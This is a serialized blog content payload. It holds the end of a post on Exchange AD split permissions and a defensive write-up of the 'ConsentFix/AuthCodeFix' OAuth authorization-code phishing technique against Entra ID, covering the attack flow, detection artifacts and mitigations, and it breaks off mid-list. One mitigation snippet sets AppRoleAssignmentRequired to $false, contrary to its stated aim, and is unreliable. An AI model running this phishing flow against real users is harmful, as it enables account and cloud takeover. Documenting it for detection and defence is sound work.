Exchange 2010 SP1. But the default shared permissions model represents a big security risk to Active Directory takeover. Combined with Exchange being notorious for remote exploits these last few years, it’s time to act!",[2944,5971],{},[965,5973,5974,5976,5978,5980],{},[970,5975,5302],{},[970,5977,5305],{},[970,5979,5308],{},[970,5981,5311],{},[814,5983,5984],{},[1728,5985],{"alt":5316,"src":5317},[814,5987,5988],{},"Only certain high privileged Tier0 users and groups are protected by the AdminSDHolder process (attribute admincount=1) and in many environments there will be unprotected users or groups that could allow compromise of the domain and/or forest or at least cause serious impact.",[1684,5990,5325],{"id":5991},"prominent-examples",[965,5993,5994,5997,6013],{},[970,5995,5996],{},"Entra Connect Sync account when using PWHashSync",[970,5998,5999,6000],{},"Default groups\n",[965,6001,6002,6005,6011],{},[970,6003,6004],{},"Allowed RODC Password Replication Group together with EntraConnect account (If a real Windows RODC exists)",[970,6006,5342,6007,5347],{},[821,6008,5346],{"href":6009,"rel":6010},"https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta/",[825],[970,6012,5350],{},[970,6014,6015,6016],{},"Unprotected custom groups or admin/service accounts\n",[965,6017,6018,6020],{},[970,6019,5358],{},[970,6021,5361],{},[814,6023,6024,6025,5369,6027,6030,5379,6032],{},"It is very hard to retroactively contain all these current and future potential pathways. For the _ADM custom OU you could disable ACL inheritance, but most default objects may not be moved from the default Builtin OU or Users container and remain vulnerable.",[2944,6026],{},[821,6028,5374],{"href":5372,"rel":6029},[825],[2944,6031],{},[821,6033,5384],{"href":5382,"rel":6034},[825],[809,6036,5388],{"id":5387},[814,6038,6039,6040,5396],{},"As split permissions weren’t available until Exchange 2010 SP1 everyone had accepted it by then and it seems that security teams did not manage to push successfully once it existed.",[2944,6041],{},[814,6043,6044,6045,6047],{},"No longer available or working cmdlets:",[2944,6046],{},[2459,6048,6049],{},"Add-DistributionGroupMember, New-DistributionGroup, New-Mailbox, New-MailContact, New-MailUser, New-RemoteMailbox, Remove-DistributionGroup, Remove-DistributionGroupMember, Remove-Mailbox, Remove-MailContact, Remove-MailUser, Remove-RemoteMailbox, Update-DistributionGroupMember, Add-ADPermission, Remove-ADPermission ",[1684,6051,5409],{"id":6052},"adoption-examples",[965,6054,6055,6064],{},[970,6056,6057,6058],{},"New-Mailbox (where Exchange writes to AD) would be:\n",[965,6059,6060,6062],{},[970,6061,5419],{},[970,6063,5422],{},[970,6065,5425],{},[809,6067,5429],{"id":5428},[814,6069,6070,6072],{},[973,6071,5434],{},": Please fully read and understand the following links and articles, perform in a test environment first, make sure AD backups are current and recovery practices are established!",[1684,6074,5439],{"id":5438},[814,6076,6077,6080,6082],{},[973,6078,6079],{},"You should first check which of the affected cmdlets are in use on which OUs.",[2944,6081],{},[2459,6083,6084],{},"$CsvPath =\"C:\\temp\\SplitPermissionAdminAuditLog.csv\"",[814,6086,6087],{},[2459,6088,6089],{},"$Cmdlets = \"Add-ADPermission\",\"Remove-ADPermission\",\"New-DistributionGroup\",\"Remove-DistributionGroup\",\"Add-DistributionGroupMember\",\"Update-DistributionGroupMember\",\"Remove-DistributionGroupMember\",\"New-Mailbox\",\"Remove-Mailbox\",\"New-RemoteMailbox\",\"Remove-RemoteMailbox\",\"New-MailUser\",\"Remove-MailUser\",\"New-MailContact\",\"Remove-MailContact\"",[814,6091,6092],{},[2459,6093,6094],{},"Search-AdminAuditLog -ResultSize 99000 -Cmdlets $Cmdlets| select RunDate,Caller,ObjectModified,CmdletName,@{Name='CmdletParameters';Expression={[string]::join(\",\", ($_.CmdletParameters))}},succeeded,error | Export-Csv -Path $CsvPath -Delimiter \";\" -Encoding Unicode -NoTypeInformation",[814,6096,6097,6099,6101,6104,6107,6110],{},[973,6098,5507],{},[2944,6100],{},[2459,6102,6103],{},"$CSVs=Import-Csv -Path $CsvPath -Delimiter \";\"",[2459,6105,6106],{},"$CSVs|group Caller",[2459,6108,6109],{},"$CSVs|group CmdletName",[2459,6111,6112],{},"Analyze the CSV for where AD permissions will be needed. Potentially optimize by moving all Exchange relevant groups into dedicated OUs.",[1684,6114,6115],{"id":5550},"Enable split permissions model",[814,6117,6118,6125,6127,6128,6130,6133,6135,976,6138],{},[973,6119,6120,6121,6124],{},"Follow instructions of “Switch to Active Directory split permissions” in ",[821,6122,5374],{"href":5267,"rel":6123},[825]," (NOT RBAC split permissions)",[2944,6126],{},"\nIn essence it will remove the dangerous permissions of “Exchange Windows Permissions” group and also remove Exchange as group member.",[2944,6129],{},[2459,6131,6132],{},"Setup.exe /IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF /PrepareAD /ActiveDirectorySplitPermissions:true",[2944,6134],{},[973,6136,6137],{},"To revert back just use:",[2459,6139,5597],{},[1684,6141,5601],{"id":5600},[814,6143,6144,6147,6149,6150,6152,6155,6157,6159],{},[973,6145,6146],{},"Create a custom AD group and make Exchange server members.",[2944,6148],{},"\nadjust OU Path first!",[2944,6151],{},[2459,6153,6154],{},"New-ADGroup -Name \"AD_Custom Exchange Split permissions replacement\" -GroupCategory Security -GroupScope DomainLocal -Path \"OU=Rights,OU=Groups,OU=T1,OU=_ADM,$((Get-ADDomain).DistinguishedName)\" -Description \"replaces the permissions lost by split permissions on relevant OUs\"",[2944,6156],{},[2944,6158],{},[2459,6160,6161],{},"Add-ADGroupMember \"AD_Custom Exchange Split permissions replacement\" -Members \"Exchange Trusted Subsystem\"",[814,6163,6164,6167,6169],{},[973,6165,6166],{},"reboot Exchange servers for permissions via group to work",[2944,6168],{},"\nI’ve created a script to make delegating the AD permissions easy per use case.",[1680,6171,6172],{},[814,6173,6174,6179,6180,5662],{},[973,6175,6176],{},[1735,6177,6178],{},"INFO:"," Without these permissions the Exchange server would receive the error ",[2459,6181,5661],{},[814,6183,6184,6189,6191],{},[973,6185,5665,6186,5671],{},[821,6187,5670],{"href":5668,"rel":6188},[825],[2944,6190],{},"\nIt can grant the following PermissionTypes:",[965,6193,6194,6205,6223,6235],{},[970,6195,6196,6198],{},[973,6197,5680],{},[965,6199,6200,6202],{},[970,6201,5683],{},[970,6203,6204],{},"Exchange cmdlets: New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and the matching Remove-*",[970,6206,6207,6209],{},[973,6208,5694],{},[965,6210,6211,6213,6216],{},[970,6212,5697],{},[970,6214,6215],{},"Exchange cmdlets: New-DistributionGroup, Remove-DistributionGroup, Add-DistributionGroupMember, Update-DistributionGroupMember, Remove-DistributionGroupMember",[970,6217,6218,6219],{},"Additional usecases: user managing DistributionGroups they own via https://",[6220,6221,6222],"on-prem-exchange",{},"/EAC",[970,6224,6225,6227],{},[973,6226,5710],{},[965,6228,6229,6232],{},[970,6230,6231],{},"Modfiy AD Permissions on Users",[970,6233,6234],{},"Exchange cmdlet: Add-ADPermission",[970,6236,6237,6239],{},[973,6238,5723],{},[965,6240,6241,6244],{},[970,6242,6243],{},"Modfiy AD Permissions on Groups",[970,6245,6234],{},[1684,6247,5735],{"id":6248},"how-to-use-the-script",[814,6250,6251],{},[2459,6252,6253,976,6256,976,6262,976,6264,976,6269],{},[2459,6254,6255],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU",[6257,6258,6259],"b",{},[2459,6260,6261],{},"\u003COU>",[2459,6263,5746],{},[6257,6265,6266],{},[2459,6267,6268],{},"\u003CGroupManage|UserSendAs|GroupSendAs|CreateUserAndContact>",[2459,6270,6271],{},"-Trustee \"AD_Custom Exchange Split permissions replacement",[814,6273,6274,6275,6277],{},"e.g.",[2944,6276],{},[2459,6278,6279,976,6282,976,6286],{},[2459,6280,6281],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=ExchangeGroups,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType",[6257,6283,6284],{},[2459,6285,5694],{},[2459,6287,6288],{},"-Trustee \"AD_Custom Exchange Split permissions replacement\"",[814,6290,6291],{},[2459,6292,6293,976,6295,976,6299],{},[2459,6294,6281],{},[6257,6296,6297],{},[2459,6298,5723],{},[2459,6300,6288],{},[814,6302,6303],{},[2459,6304,6305,976,6308,976,6312],{},[2459,6306,6307],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType",[6257,6309,6310],{},[2459,6311,5710],{},[2459,6313,6288],{},[814,6315,6316],{},[2459,6317,6318],{},[2459,6319,6320],{},"Add-ExchangeADSplitPermissionOnOU.ps1 -TargetOU \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" -PermissionType CreateUserAndContact -Trustee \"AD_Custom Exchange Split permissions replacement\"",[1684,6322,5798],{"id":5797},[814,6324,6325,6327,6329],{},[973,6326,5803],{},[2944,6328],{},[2459,6330,6331],{},"New-RoleGroup -Name \"SplitPermission Security Group Creation and Membership\" -Roles \"Security Group Creation and Membership\" -Members \"Organization Management\",\"Recipient Management\" -Description \"Brings back -BypassSecurityGroupManagerCheck to Add-DistributionGroupMember, but also needs AD ACL for Exchange Server on target DLs\" ",[1680,6333,6334],{},[814,6335,6336,976,6340,6342],{},[973,6337,6338],{},[1735,6339,6178],{},[2944,6341],{},"Else you get \"-BypassSecurityGroupManagerCheck parameter is not available\" or \"You don't have sufficient permissions. This operation can only be performed by a manager of the group\"",[814,6344,6345,6347,6349,6351],{},[2944,6346],{},[973,6348,5837],{},[2944,6350],{},[2459,6352,6353],{},"New-RoleGroup -Name \"SplitPermission Mail Recipient Creation\" -Roles \"Mail Recipient Creation\" -Members \"Organization Management\",\"Recipient Management\" -Description \"Brings back New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and matching Remove-... cmdlets, but additionally Exchange needs AD ACL for Exchange Server on target OUs\"",[809,6355,5858],{"id":5857},[814,6357,6358],{},"I hope that with this guidance many more will take this important step to secure their Active Directory from compromise via Exchange. I have not yet run into issues when I implemented Exchange AD split permissions model and the adoption from this article at our customers.",[814,6360,6361],{},"I hope Microsoft will implement a native way to achieve this granular OU based approach, instead of the current all or nothing, for it to become widely adopted.",[814,6363,6364,6365,5873,6368,6371],{},"As AD Tiering is dear to my heart: Additionally, please do not logon to Exchange servers with Domain Admin (or any Tier0) accounts but treat them as Tier1 from now on and implement AD Tiering asap.\nAs a first step, I recommend tools like ",[821,6366,5872],{"href":5870,"rel":6367},[825],[821,6369,5878],{"href":5876,"rel":6370},[825]," to assess your AD Security and Control Paths.",[4528,6373,5882],{},{"title":1062,"searchDepth":1063,"depth":1063,"links":6375},[6376,6377,6378,6379,6380,6383,6390],{"id":5243,"depth":1765,"text":5244},{"id":5945,"depth":1765,"text":5258},{"id":5288,"depth":1765,"text":5289},{"id":5991,"depth":1765,"text":5325},{"id":5387,"depth":1063,"text":5388,"children":6381},[6382],{"id":6052,"depth":1765,"text":5409},{"id":5428,"depth":1063,"text":5429,"children":6384},[6385,6386,6387,6388,6389],{"id":5438,"depth":1765,"text":5439},{"id":5550,"depth":1765,"text":6115},{"id":5600,"depth":1765,"text":5601},{"id":6248,"depth":1765,"text":5735},{"id":5797,"depth":1765,"text":5798},{"id":5857,"depth":1063,"text":5858},{"lang":1088,"seoTitle":5897,"titleClass":1077,"date":6392,"blogtitlepic":6393,"socialimg":6394,"customExcerpt":6395,"keywords":5902,"hreflang":6396,"scripts":6401,"asideNav":6402,"maxContent":511,"published":752},"2026-01-27","head-vulnerability-management","/blog/heads/head-vulnerability-management.jpg","On-Premises Exchange Server installations are still prevalent even for organizations that have moved all mailboxes to the cloud. Also, they are still very powerful within Active Directory so most times there is a strong attack path on compromising the whole AD and with that usually much of the corporate IT. Switching to the so called “AD Split permissions” removes the critical permissions and I have engineered a solution that removes it’s downsides that usually prevented the adoption.",[6397,6399],{"lang":1088,"href":6398},"/en/posts/2026-01-27-exchange-active-directory",{"lang":1091,"href":6400},"/es/posts/2026-01-27-exchange-active-directory",{"slick":511,"form":511},{"menuItems":6403},[6404,6405,6406,6407,6408],{"href":5914,"text":5244},{"href":5916,"text":5289},{"href":5918,"text":5388},{"href":5920,"text":5429},{"href":5922,"text":5858},"/posts/2026-01-27-exchange-active-directory",{"title":5929,"description":1062},"posts/2026-01-27-exchange-active-directory","cOVgd7QVJV-v_LtpTUN_8uOXmEvxEla_MoBef64uftQ",{"id":6414,"title":6415,"author":6416,"body":6417,"cta":767,"description":6421,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":7200,"moment":7202,"navigation":511,"path":7228,"seo":7229,"stem":7230,"tags":7231,"webcast":752,"__hash__":7234},"content_de/posts/2025-12-31-vulnerability-consentfix.md","AuthCodeFix aka ConsentFix",[1339,1219,1375],{"type":806,"value":6418,"toc":7180},[6419,6422,6425,6428,6434,6437,6440,6449,6454,6462,6482,6485,6491,6494,6497,6503,6508,6512,6523,6529,6532,6535,6539,6542,6548,6555,6558,6578,6588,6592,6595,6598,6601,6604,6608,6611,6614,6631,6640,6644,6648,6668,6672,6677,6688,6691,6697,6701,6715,6719,6730,6734,6737,6745,6748,6756,6759,6767,6771,6774,6795,6798,6862,6865,6868,6871,6874,6877,6883,6886,6927,6931,6946,6950,6954,6968,6971,6974,6979,6982,6993,6997,7004,7008,7014,7019,7033,7039,7045,7051,7062,7065,7071,7074,7099,7107,7111,7131,7137,7140,7146,7150],[814,6420,6421],{},"As it is tradition right before the end of the year, a new vulnerability or clever attack vector appears, and Defenders are left trying to protect their users. Meanwhile, other attackers and red teamers watch closely and adapt.",[814,6423,6424],{},"This year, PushSecurity detected an attack that they named \"ConsentFix\", an evolution of the ClickFix attack that relies on the user to provide the attacker with a URI that basically hands over the key to the Entra kingdom. The method used in the wild relied on a manual copy and paste action by the user to work. Within a few days, John Hammond released a video demonstrating an improved version of the attack that no longer required copy and paste, instead, the user could simply drag and drop their auth code to the attacker.",[814,6426,6427],{},"When we look into the technical details of why this attack works and seemingly bypasses device compliance and other Conditional Access requirements, we find ourselves in the OAuth 2.0 authorization code flow.",[814,6429,6430],{},[1728,6431],{"alt":6432,"src":6433},"OAuth 2.0 authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-01.png",[814,6435,6436],{},"The attacker creates a Microsoft Entra login URI that targets the \"Microsoft Azure CLI\" client and the \"Azure Resource Manager\" resource, and opens this URI when the user visits the malicious website.",[814,6438,6439],{},"Mapped to the authorization code flow, this corresponds to the first step that a native public app such as the Azure CLI would normally call to authenticate the user. The application creates a listener on the machine on which it is executed, on a random high port. This port is used as a so called reply URI.",[814,6441,6442,6443,6448],{},"You can easily reproduce this yourself, for example by using ",[821,6444,6447],{"href":6445,"rel":6446},"https://github.com/f-bader/TokenTacticsV2",[825],"TokenTacticsV2",", or by crafting the URI manually.",[814,6450,6451],{},[1728,6452],{"alt":6447,"src":6453},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-02.png",[814,6455,6456,6457,6461],{},"After the user successfully signs into Entra ID, the user is redirected to the reply URI, e.g., ",[821,6458,6459],{"href":6459,"rel":6460},"http://localhost:3001",[825],". In a normal scenario, the Azure CLI would now accept the call to this URI and would receive the important and critical information that is part of the redirect:",[965,6463,6464,6474],{},[970,6465,6466,6468,6470,6471,6473],{},[973,6467,2459],{},[2944,6469],{},"\nThis is the authorization_code, which the application uses to request a bearer token, which consists of access, ID, and optionally the refresh token.",[2944,6472],{},"\nAccording to the documentation, this code is valid for around 10 minutes and must be redeemed within this time.",[970,6475,6476,6479,6481],{},[973,6477,6478],{},"state",[2944,6480],{},"\nThis is an optional parameter, and the application should verify whether it is identical in the request and response.",[814,6483,6484],{},"In the attack scenario, the user is also redirected, but since no application is running on localhost, the browser encounters an error.",[814,6486,6487],{},[1728,6488],{"alt":6489,"src":6490},"The browser runs into an error","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-03.png",[814,6492,6493],{},"But the URI still contains the sensitive information and this is what the attacker wants the user to provide them. If the user obliges the attacker will now redeem the token material and can then use the access and refresh token to access the resource, in this case Azure Resource Manager.",[814,6495,6496],{},"In this screenshot you will see how to retrieve the bearer token using the URI provided by the user.",[814,6498,6499],{},[1728,6500],{"alt":6501,"src":6502},"Bearer token using the URI provided by the user","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-04.png",[1680,6504,6505],{},[814,6506,6507],{},"If you want to test your detections, make sure you execute the last step from a different system, in a different network.",[809,6509,6511],{"id":6510},"detection-artifacts","Detection artifacts",[814,6513,6514,6515,6518,6519,6522],{},"When you reproduce the attack and check the ",[2459,6516,6517],{},"SigninLogs"," and ",[2459,6520,6521],{},"AADNonInteractiveUserSignInLogs",", you'll see two events for this single sign-in activity. The first event represents the actual user sign-in, while the second originates from the attacker's infrastructure.",[814,6524,6525],{},[1728,6526],{"alt":6527,"src":6528},"Activity Log","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-05.png",[814,6530,6531],{},"The big difference is that the first event is an interactive sign in event, while the second is non-interactive. This translates to the two stages of the authentication flow: first the user, then the application or in our case the attacker.",[814,6533,6534],{},"Regular behavior of the Azure CLI would be that both sign-in events originate from the same IP address. However, in our case the IP addresses are different, and they originate from different countries. Of course, the latter is not a reliable indicator, as the attacker could reside in the same country as the victim to hide their tracks.",[1684,6536,6538],{"id":6537},"missing-link","Missing link",[814,6540,6541],{},"When looking for a good way to link those two events, the natural first idea was to check the Unique Token Identifier (UTI). However, Microsoft uses different values for the authorization code UTI and the bearer token UTI, so this approach doesn't work as a reliable link.",[814,6543,6544],{},[1728,6545],{"alt":6546,"src":6547},"Unique Token Identifier","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-06.png",[814,6549,6550,6551,6554],{},"However, the ",[2459,6552,6553],{},"SessionId"," is a good link between the two, though it is a long-running ID and might contain multiple of these event combinations, even legitimate ones.",[814,6556,6557],{},"With the additional knowledge of the auth code flow limitations and the user and application id as additional links you can use time as an important detection factor:",[965,6559,6560,6563,6566,6569,6572,6575],{},[970,6561,6562],{},"Both events share the same SessionId",[970,6564,6565],{},"Both events share the same ApplicationId",[970,6567,6568],{},"Both events share the same UserId",[970,6570,6571],{},"The second event must be after the first event",[970,6573,6574],{},"The second event must be within approximately a 10-minute time window after the first event. You should not use exactly 10 minutes as Microsoft writes \"[...] they expire after about 10 minutes\"",[970,6576,6577],{},"You should only consider the very next second event, not subsequent ones",[1680,6579,6580],{},[814,6581,6582,6585,6587],{},[973,6583,6584],{},"Fun fact",[2944,6586],{},"\nThe ResourceIdentity is not a good link, as the attacker can change the resource since it is not bound to the auth code. The targeted application ID cannot be changed.",[809,6589,6591],{"id":6590},"reduce-the-noise","Reduce the noise",[814,6593,6594],{},"This knowledge already provided us with a good working detection, but there were benign positives in the mix as well. Modern developers use cloud resources that appear like local instances, but result in irregular login patterns in the logs.",[814,6596,6597],{},"The key difference is the time component. While the attack requires user interaction to copy and paste or drag and drop the URI, the GitHub Codespace use case we identified as the source of the benign positive alerts is completely automated and redeems the auth code within mere seconds.",[814,6599,6600],{},"So filtering out anything that does this authentication dance within a few seconds can most likely be removed as benign.",[814,6602,6603],{},"Another source of noise could be changing egress points for your internet traffic, especially in SD-WAN, ZTNA or Secure Web Gateway scenarios.",[809,6605,6607],{"id":6606},"affected-first-party-applications","Affected first-party applications",[814,6609,6610],{},"While the initial report shows \"Microsoft Azure CLI\" as the abused application there are a lot of different Microsoft first-party apps with pre-consent in every tenant that offer localhost as redirect. And not only those are a target. The attacker could also abuse reply test and dev URLs that are not publicly resolvable.",[814,6612,6613],{},"Here is a list of the most notable applications that also have high pre-consentet permissions on resources.",[965,6615,6616,6619,6622,6625,6628],{},[970,6617,6618],{},"Microsoft Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46)",[970,6620,6621],{},"Microsoft Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2)",[970,6623,6624],{},"Visual Studio (04f0c124-f2bc-4f59-8241-bf6df9866bbd)",[970,6626,6627],{},"Visual Studio Code (aebc6443-996d-45c2-90f0-388ff96faa56)",[970,6629,6630],{},"MS Teams PowerShell Cmdlets (12128f48-ec9e-42f0-b203-ea49fb6af367)",[814,6632,6633,6634,6639],{},"A full list of these apps are now included in ",[821,6635,6638],{"href":6636,"rel":6637},"https://entrascopes.com/?authcodeFix=true",[825],"EntraScopes.com"," by our colleague Fabian Bader.",[809,6641,6643],{"id":6642},"mitigations-and-protections","Mitigations and Protections",[1684,6645,6647],{"id":6646},"limit-the-attack-surface-and-audience","Limit the attack surface and audience",[2045,6649,6652,6655,6656,6658,6661,6662,6664,6667],{"className":6650},[6651],"option-block",[973,6653,6654],{},"Deployment effort:"," Low to High (depends on effort to identify legitimate users)",[2944,6657],{},[973,6659,6660],{},"Mitigation:"," Medium (reduces the potential audience for the attack)",[2944,6663],{},[973,6665,6666],{},"Scope:"," limited\n",[1684,6669,6671],{"id":6670},"option-1-require-user-assignment","Option 1: Require User Assignment",[6673,6674,6676],"h4",{"id":6675},"pre-requisites","Pre-requisites:",[965,6678,6679,6682,6685],{},[970,6680,6681],{},"Add the service principal for affected first-party apps by using Microsoft Graph API or PowerShell",[970,6683,6684],{},"Apply the user assignment requirement on the service principal object using Microsoft Graph API or PowerShell",[970,6686,6687],{},"Establish a process to assign users upon request via Access Packages, PIM-for-Groups (for just-in-time access), or a combination of both.",[4528,6689,6690],{},"\n.code-block {\n  background-color: #f6f8fa;\n  padding: 0 16px 16px 16px;\n  border-radius: 6px;\n  font-family: Menlo, Consolas, Monaco, \"Courier New\", monospace;\n  font-size: 14px;\n  line-height: 1.5;\n  overflow-x: auto;\n  white-space: pre;\n  border: 1px solid #d0d7de;\n}\n",[2479,6692,6694],{"className":6693},[2937],[2459,6695,6696],{},"\n// Example for Microsoft Graph PowerShell\nConnect-MgGraph -Identity\n$AppId = \"04b07795-8ddb-461a-bbee-02f9e1bf7b46\" // Microsoft Azure CLI\n$sp = Get-MgServicePrincipal -Filter \"appId eq '$AppId'\"\nUpdate-MgServicePrincipal -ServicePrincipalId $sp.Id -AppRoleAssignmentRequired:$false\n",[6673,6698,6700],{"id":6699},"benefit","Benefit:",[965,6702,6703,6706,6709,6712],{},[970,6704,6705],{},"Enables management of user assignments through Access Packages or manual group membership to limit exposure to this attack technique.",[970,6707,6708],{},"Option to provide just-in-time access combined with eligible group membership assignment, allowing temporary access to CLI tools and thereby further reducing the attack surface.",[970,6710,6711],{},"Applied before evaluating Conditional Access policies.",[970,6713,6714],{},"Limits the attack surface for other scenarios as well.",[6673,6716,6718],{"id":6717},"disadvantage","Disadvantage:",[965,6720,6721,6724,6727],{},[970,6722,6723],{},"Can only be scoped to specific users and not combined with other requirements like usage of specific devices",[970,6725,6726],{},"All legitimate CLI tool users must be identified",[970,6728,6729],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins.",[1684,6731,6733],{"id":6732},"option-2-block-access-by-using-conditional-access-policies","Option 2: Block access by using Conditional Access Policies",[6673,6735,6676],{"id":6736},"pre-requisites-1",[965,6738,6739,6742],{},[970,6740,6741],{},"Create a Conditional Access policy to block access to CLI tools, excluding legitimate users, by targeting \"Microsoft Graph Command Line Tools\" and \"Windows Azure Service Management API\"",[970,6743,6744],{},"Manage exclusions via group membership, either manually or through entitlement management (e.g., Access Packages).",[6673,6746,6700],{"id":6747},"benefit-1",[965,6749,6750,6753],{},[970,6751,6752],{},"Prevents token issuance for non-legitimate or non-privileged users.",[970,6754,6755],{},"Allows granular scoping based on additional conditions such as device or network.",[6673,6757,6718],{"id":6758},"disadvantage-1",[965,6760,6761,6764],{},[970,6762,6763],{},"All legitimate CLI tool users must be identified and excluded.",[970,6765,6766],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode.",[1684,6768,6770],{"id":6769},"block-token-issuance-by-authorization-code-flow","Block token issuance by authorization code flow",[4528,6772,6773],{},"\n.option-block {\n  background-color: #f6f8fa;\n  padding: 16px;\n  margin-bottom:2rem;\n  border-radius: 6px;\n  overflow-x: auto;\n  border: 1px solid #d0d7de;\n}\n",[2045,6775,6777,6780,6781,6783,6785,6786,6788,6785,6790,6792,6794],{"className":6776},[6651],[973,6778,6779],{},"Option:"," Require Token Protection",[2944,6782],{},[973,6784,6654],{}," High",[2944,6787],{},[973,6789,6660],{},[2944,6791],{},[973,6793,6666],{}," Very limited\n",[6673,6796,6676],{"id":6797},"pre-requisites-2",[965,6799,6800,6803,6806,6825],{},[970,6801,6802],{},"Microsoft Entra ID P1 licenses",[970,6804,6805],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows platform",[970,6807,6808,6809,3216,6814,6518,6819,6824],{},"Enable Web Account Manager (WAM) in ",[821,6810,6813],{"href":6811,"rel":6812},"https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli-interactively?view=azure-cli-latest#sign-in-with-web-account-manager-wam-on-windows",[825],"Azure CLI",[821,6815,6818],{"href":6816,"rel":6817},"https://learn.microsoft.com/en-us/powershell/azure/configure-global-settings?view=azps-15.1.0#web-account-manager-wam",[825],"Azure PowerShell",[821,6820,6823],{"href":6821,"rel":6822},"https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.authentication/set-mggraphoption?view=graph-powershell-1.0#set-web-account-manager-support",[825],"Microsoft Graph PowerShell"," (default in latest versions)",[970,6826,6827,6828],{},"Configure Conditional Access targeting:\n",[965,6829,6830,6844,6851],{},[970,6831,6832,6833],{},"Cloud App targeting to the following apps:\n",[965,6834,6835,6838,6841],{},[970,6836,6837],{},"Office 365 Exchange Online",[970,6839,6840],{},"Office 365 SharePoint Online",[970,6842,6843],{},"Microsoft Teams Services",[970,6845,6846,6847,6850],{},"Client apps under ",[1735,6848,6849],{},"Mobile apps and desktop clients"," to require Token Protection.",[970,6852,6853,6854,6857,6858,6861],{},"Select ",[1735,6855,6856],{},"Windows"," as ",[1735,6859,6860],{},"device platform"," for targeting the policy",[6673,6863,6700],{"id":6864},"benefit-2",[814,6866,6867],{},"Microsoft Entra’s token protection requires proof‑of‑possession (PoP), which can only be enforced when the client communicates directly with a trusted token broker such as the Web Account Manager (WAM) on Windows. Because browsers cannot establish this secure channel, the authorization code flow initiated in a browser is blocked under token protection policies.",[814,6869,6870],{},"When the policy enforces token protection that requires broker‑managed PoP, the authorization code returned to a browser cannot be redeemed because the browser cannot produce the required broker‑signed proof during the code to token exchange",[814,6872,6873],{},"In this case, attacks with AuthCodeFix will be fully mitigated as long the application can be protected by Token Protection.",[814,6875,6876],{},"As shown in the screenshot below, Token Protection successfully mitigates the redemption of the authorization code flow initiated by the victim through a phishing action.",[814,6878,6879],{},[1728,6880],{"alt":6881,"src":6882},"Token Protection successfully mitigates the redemption of the authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-07.png",[6673,6884,6718],{"id":6885},"disadvantage-2",[965,6887,6888,6918,6921,6924],{},[970,6889,6890,6891],{},"Only the following resources are officially supported:\n",[965,6892,6893,6895,6897],{},[970,6894,6837],{},[970,6896,6840],{},[970,6898,6843,6899,6901,6903,6904,6518,6907,6911,6912,6917],{},[2944,6900],{},[2944,6902],{},"\nThe Microsoft Graph API is indirectly covered by the previously mentioned resources and Microsoft Graph PowerShell is listed as a supported client. We were able to verify in our testing that the attack for this scenario will be mitigated. “Windows Azure Service Management API\" is not listed as a supported resource. Both CLI clients (",[821,6905,6813],{"href":6811,"rel":6906},[825],[821,6908,6818],{"href":6909,"rel":6910},"https://learn.microsoft.com/en-us/powershell/azure/authenticate-interactive?view=azps-15.1.0#benefits-of-wam",[825],") support WAM which is a client-side requirement to use Token Protection. Microsoft has been announced ",[821,6913,6916],{"href":6914,"rel":6915},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/how-to-break-the-token-theft-cyber-attack-chain/4062700",[825],"in a blog post"," to extend token protection capabilities for Azure management scenarios.",[970,6919,6920],{},"Some bugs in Microsoft Graph PowerShell force you to temporarily disable WAM integration",[970,6922,6923],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode. The cloud app targeting will also effect productivity access to Microsoft 365.",[970,6925,6926],{},"Limited scope due to availability on supported platforms and Entra ID–integrated devices.",[1684,6928,6930],{"id":6929},"block-further-token-issuance-by-compliant-network-check-or-trusted-network","Block further token issuance by compliant network check or trusted network",[2045,6932,6934,6936,6937,6939,6936,6941,6943,6945],{"className":6933},[6651],[973,6935,6654],{}," Medium",[2944,6938],{},[973,6940,6660],{},[2944,6942],{},[973,6944,6666],{}," Broad\n",[1684,6947,6949],{"id":6948},"option-block-access-outside-of-compliant-network-with-global-secure-access","Option: Block access outside of Compliant network with Global Secure Access",[6673,6951,6953],{"id":6952},"pre-requisite","Pre-requisite:",[965,6955,6956,6959,6962,6965],{},[970,6957,6958],{},"Entra ID P1 license",[970,6960,6961],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows, macOS, Androind and iOS platform",[970,6963,6964],{},"Global Secure Access Client on all affected clients and enabled Entra Internet Access for M365 Traffic Profile",[970,6966,6967],{},"Conditional Access Policy to enforce network compliant check should be applied to all cloud apps",[6673,6969,6700],{"id":6970},"benefit-3",[814,6972,6973],{},"Block additional token issuance by enforcing a trusted network check. This mitigation ensures attackers cannot obtain new tokens using the refresh token from the authorization code flow. However, it does not prevent the initial redemption of the authorization code or the issuance of the first access token, which remains valid outside the compliant network because it was originally requested by the victim.",[1680,6975,6976],{},[814,6977,6978],{},"Enforcing GSA with the Compliant Network condition also blocks other Token Replay scenarios and adds additional logs which can be very useful for detections and hunting.",[6673,6980,6718],{"id":6981},"disadvantage-3",[965,6983,6984,6987,6990],{},[970,6985,6986],{},"Only applicable for users and devices with deployed Global Secure Access 